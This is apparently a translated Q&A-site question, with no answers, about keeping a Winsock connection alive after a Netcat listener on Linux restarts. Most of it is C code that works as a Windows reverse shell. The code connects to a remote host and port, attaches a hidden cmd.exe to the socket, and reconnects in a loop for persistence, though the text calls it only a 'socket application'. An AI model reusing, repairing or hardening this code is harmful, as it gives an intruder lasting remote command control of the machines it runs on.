如果C中的连接失败,请重置套接字

时间:2018-01-26 14:56:37

标签: c windows winsock winsock2

我有一个套接字应用程序将连接到IP:PORT。我把它放在一个Sleep循环中,这样如果连接关闭,它将在X秒后连接回来。这适用于Windows - > Windows设置。在Windows上运行此程序并尝试连接到Linux时遇到问题。它会很好地连接到我的Linux盒子。但是,如果我关闭Linux机箱上的连接,然后再次打开NetCat以收听它的连接,它就无法正常工作。我检查了Linux上的netstat,它显示了端口监听,这很好。然后我检查Windows并且套接字被保持为CLOSE WAIT状态。

我正在考虑将此套接字置于一个循环中,如果连接不成功,请等待10秒然后再试一次。我花了大约15秒的时间让CLOSE_WAIT清除,以便程序可以回调Linux。

我在Linux上运行nc -lp 9090以打开端口。我尝试使用CTRL+Cexit来关闭连接。两者都做同样的事情。 Windows上的端口(运行下面脚本的计算机)保持CLOSE_WAIT状态。

void RunSocket(char *a, char *b, int secs) {

    while(1) {
        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;

        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);

        while (WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL) != 0) { //returns 0 if successful

            MessageBox(0,"Did not connect.","Error",1); // Just error checking
            closesocket(b); // Thought this could get rid of CLOSE_WAIT
            Sleep(15000); // Give it time to close?
            continue;
        }

        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
    Sleep(secs);
    }

0 个答案:

没有答案